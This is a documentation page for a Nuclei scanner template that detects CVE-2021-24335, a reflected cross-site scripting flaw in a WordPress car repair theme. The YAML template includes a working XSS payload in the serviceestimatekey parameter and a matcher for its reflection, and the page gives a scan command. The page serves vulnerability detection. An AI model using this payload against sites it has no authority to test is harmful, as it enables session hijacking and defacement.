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WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting

ID: CVE-2021-24335

Severity: medium

Author: daffainfo

Tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,smartdatasoft

Description

Section titled “Description”

WordPress Car Repair Services & Auto Mechanic before 4.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the serviceestimatekey parameter before outputting it back in the page.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24335


info:
  name: WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Car Repair Services & Auto Mechanic before 4.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the serviceestimatekey parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Car Repair Services & Auto Mechanic Theme (version 4.0 or higher) to mitigate the XSS vulnerability.
  reference:
    - https://themeforest.net/item/car-repair-services-auto-mechanic-wordpress-theme/19823557
    - https://m0ze.ru/vulnerability/[2021-02-12]-[WordPress]-[CWE-79]-Car-Repair-Services-WordPress-Theme-v3.9.txt
    - https://wpscan.com/vulnerability/39258aba-2449-4214-a490-b8e46945117d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24335
    - https://m0ze.ru/vulnerability/%5B2021-02-12%5D-%5BWordPress%5D-%5BCWE-79%5D-Car-Repair-Services-WordPress-Theme-v3.9.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24335
    cwe-id: CWE-79
    epss-score: 0.00181
    epss-percentile: 0.54412
    cpe: cpe:2.3:a:smartdatasoft:car_repair_services_\&_auto_mechanic:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: smartdatasoft
    product: "car_repair_services_\\&_auto_mechanic"
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,smartdatasoft
flow: http(1) && http(2)


http:
  - method: GET
    path:
      - '{{BaseURL}}'


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/car-repair-services/css'
          - '/wp-content/themes/car-repair-services/js'
          - 'id="car-repair-services-'
        condition: or


  - method: GET
    path:
      - '{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a00463044022003f97a1d9ae5c24a9640fde7faf77e2f5b661e6a6f845fa6e7a16fefba7b38470220237c424d23535f69dd690354d9b65e4e0757e260a26e4bb52eec051f1bb42dd1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24335.yaml"

View on Github